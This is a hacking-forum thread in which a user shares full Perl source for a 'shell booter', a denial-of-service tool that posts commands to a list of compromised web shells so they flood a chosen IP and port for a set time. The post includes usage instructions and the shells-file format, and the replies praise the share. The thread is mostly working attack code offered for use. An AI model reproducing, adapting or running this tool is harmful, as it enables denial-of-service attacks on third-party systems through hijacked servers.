Login Register






Simple Perl Shell Booter filter_list
Author
Message
Simple Perl Shell Booter #1
Headnote: I wrote this a while back for my employer. They recently tested it, found there were a few modules that need installation. I don't know what they are, they seem to vary depending on system.

-- Start Content --

I absolutely do not guarantee this to be in working condition.

Usage:

perl booter.pl 127.0.0.1 80 60 < shells.txt

127.0.0.1 is host. Can be dns, shells don't care.
80 is port. This is only used for "tcp" shells.
60 is time. This is how long it boots for. This goes for a divisible of 10 seconds, so 55 would boot for 60 seconds.
shells.txt is a file with all your shells, and is in the following format.
Code:
tcp;http://bot.fak/shell.php udp;http://udpbot.fak/shell.php

"tcp" shells are ones that ask for a port, time, and host. "udp" shells don't ask for port.

If you need it adapted for additional use, such as shell booters (different from udp/tcp shells), putty booters, et al, just let me know.

Following: The booter.pl file:
Code:
#!/usr/bin/perl use strict; use warnings; use HTTP::Request::Common; use HTTP::Request::Common::Post; use POE; use POE::Component::Client::HTTP; my @shells; while (<STDIN>) { push @shells, $_; } $ip = $ARGV[0]; $port = $ARGV[1]; $time = $ARGV[2]; if ($ip !~ m/.*?\..*?\..*?\..*?/) { print "ERROR: Must specify IP.\n"; die; } if ($port !~ m/\d*?/) { print "ERROR: Must specify PORT.\n"; die; } if (!$time) { $time = 15; } my @udpshells; my @tcpshells; foreach my $shell (@shells) { if ($shell =~ m/^udp;(.*)/) { push @udpshells, $1; } elsif ($shell =~ m/^tcp;(.*)/) { push @tcpshells, $1; } } my @url_list; foreach my $shell (@udpshells) { @url_list = (@url_list, ( POST $shell, Content => [ ip => $ip, time => 10 ] ) ); } foreach my $shell (@tcpshells) { @url_list = (@url_list, ( POST $shell, Content => [ host => $ip, port => $port, time => 10 ] ) ); } POE::Component::Client::HTTP->spawn(Alias => 'ua'); sub got_response { my ($heap, $request_packet, $response_packet) = @_[HEAP, ARG0, ARG1]; my $http_request = $request_packet->[0]; my $tag = $request_packet->[1]; my $http_response = $response_packet->[0]; my $response_string = $http_response->as_string(); } sub _start { my $kernel = $_[KERNEL]; foreach my $i (0 .. $#url_list) { $kernel->post("ua" => "request", "got_response", $url_list[$i], $i); } $time -= 10; if ($time > 0) { $kernel->delay(_start => 10); } } POE::Session->create(package_states => [main => ["_start", "got_response"]]); $poe_kernel->run();
FART BUBBLES!

Reply

RE: Simple Perl Shell Booter #2
Nice share be can you explain the source code ?

Reply

RE: Simple Perl Shell Booter #3
Looks like someone got the smarticle particle award :p. Nice share btw.
#MakeSinisterlySexyAgain

Reply